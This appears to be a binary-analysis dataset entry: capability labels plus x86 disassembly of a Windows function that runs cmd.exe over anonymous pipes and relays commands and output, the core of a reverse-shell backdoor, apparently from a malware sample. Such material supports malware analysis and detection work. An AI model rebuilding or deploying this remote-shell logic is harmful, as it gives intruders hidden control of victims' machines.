Function at 0x1e2b05
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Execute shell command and capture output
Query environment variable
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
test byte [0x1fa84c], 1
push ebx
push esi
push edi
mov ebx, 0x1fa7f0
jne 0x1e2b3a
or byte [0x1fa84c], 1
xor esi, esi
push esi
mov ecx, ebx
call fcn.001e2010
push 0x1e2f04
call fcn.001f386c
pop ecx
jmp 0x1e2b3c
xor esi, esi
test byte [0x1fa84c], 2
jne 0x1e2b6a
or byte [0x1fa84c], 2
lea eax, [ebp - 1]
mov edi, 0x1fa838
push eax
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const__]
push 0x1e2ef9
call fcn.001f386c
pop ecx
jmp 0x1e2b6f
mov edi, 0x1fa838
lea eax, [ebp - 1]
lea ecx, [ebp - 0x28]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const__]
or dword [ebp - 0x10], 0xffffffff
cmp byte [0x1fa878], 0
mov dword [ebp - 0xc], esi
jne 0x1e2d01
push str.cmd.exe
push 0x1fa850
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
pop ecx
test al, al
pop ecx
je 0x1e2cf4
push 0x1f476c
call dword [sym.imp.MSVCRT.dll_getenv]
pop ecx
push eax
mov ecx, edi
call dword [0x1f42c8]
push 0x1f4768
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
mov edi, dword [sym.imp.KERNEL32.dll_CreatePipe]
push esi
push 0x1fa7e0
push 0x1fa860
push 0x1fa790
mov dword [0x1fa7e0], 0xc
mov dword [0x1fa7e8], 1
mov dword [0x1fa7e4], esi
call edi
test eax, eax
je 0x1e2da7
push esi
push 0x1fa7e0
push 0x1fa864
push 0x1fa848
call edi
test eax, eax
je 0x1e2da7
push 0x11
mov edx, 0x1fa798
pop ecx
xor eax, eax
mov edi, edx
push 0x1fa868
rep stosd dword es:[edi], eax
mov eax, dword [0x1fa790]
push edx
mov dword [0x1fa7d0], eax
mov eax, dword [0x1fa864]
mov ecx, 0x1fa838
mov dword [0x1fa798], 0x44
mov dword [0x1fa7c4], 0x101
mov word [0x1fa7c8], si
mov dword [0x1fa7d4], eax
mov dword [0x1fa7d8], eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push esi
push esi
push 1
mov edi, 0x1fa850
push esi
push esi
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
setne al
push 0x1f465c
mov ecx, edi
mov byte [0x1fa878], al
call dword [0x1f42c8]
mov ecx, ebx
mov byte [0x1fa879], 1
call fcn.001e2038
sub esp, 0x10
mov esi, 0x1fa310
mov edi, esp
mov ecx, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.001e209b
sub esp, 0x10
lea eax, [ebp + 8]
mov ecx, esp
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push 0x93
mov ecx, ebx
call fcn.001e20c2
push 0x12c
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
cmp byte [0x1fa878], 0
je 0x1e2eba
lea eax, [ebp - 0x14]
push esi
push eax
push esi
push esi
push esi
push dword [0x1fa848]
mov dword [ebp - 0x14], esi
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [ebp - 0x14], esi
jbe 0x1e2df2
push dword [ebp - 0x14]
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov edi, eax
lea eax, [ebp - 0x18]
push esi
push eax
push dword [ebp - 0x14]
push edi
push dword [0x1fa848]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp - 0x18], esi
jbe 0x1e2de8
cmp dword [ebp - 0xc], esi
jbe 0x1e2dae
push dword [ebp - 0xc]
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push edi
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
jne 0x1e2dae
lea eax, [ebp - 1]
lea ecx, [ebp - 0x38]
push eax
push edi
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
sub esp, 0x10
lea eax, [ebp - 2]
mov ecx, esp
push eax
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0xc]
push eax
lea eax, [ebp - 0x38]
push dword [ebp - 0xc]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___unsigned_int__unsigned_int__class_std::allocator_char__const__]
push 0x62
mov ecx, ebx
call fcn.001e20c2
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x38]
jmp 0x1e2de2
xor bl, bl
jmp 0x1e2ee0
lea eax, [ebp - 3]
lea ecx, [ebp - 0x48]
push eax
push edi
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
sub esp, 0x10
lea eax, [ebp - 4]
mov ecx, esp
push eax
lea eax, [ebp - 0x48]
push dword [ebp - 0x18]
push esi
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___unsigned_int__unsigned_int__class_std::allocator_char__const__]
push 0x62
mov ecx, ebx
call fcn.001e20c2
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x48]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push edi
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
jmp 0x1e2e12
sub esp, 0x10
lea eax, [ebp - 5]
mov ecx, esp
push eax
push 0x1f465c
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push 0x62
mov ecx, ebx
call fcn.001e20c2
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x1e2e1f
and byte [0x1fa879], 0
mov edi, 0x1fa850
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::length_void_const]
test eax, eax
jbe 0x1e2e7d
push 0x1f4764
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
push 0x1fa850
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea eax, [ebp - 0xc]
push esi
push eax
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::length_void_const]
push eax
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push dword [0x1fa860]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x1f465c
mov ecx, edi
call dword [0x1f42c8]
jmp 0x1e2e80
mov dword [ebp - 0xc], esi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x1fa879], 0
jne 0x1e2d01
push esi
push dword [0x1fa868]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [0x1fa86c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [0x1fa868]
call esi
jmp 0x1e2ec0
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, ebx
call fcn.001e20f4
push dword [0x1fa848]
call esi
push dword [0x1fa864]
call esi
and byte [0x1fa878], 0
mov bl, 1
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
pop edi
mov al, bl
pop esi
pop ebx
leave
ret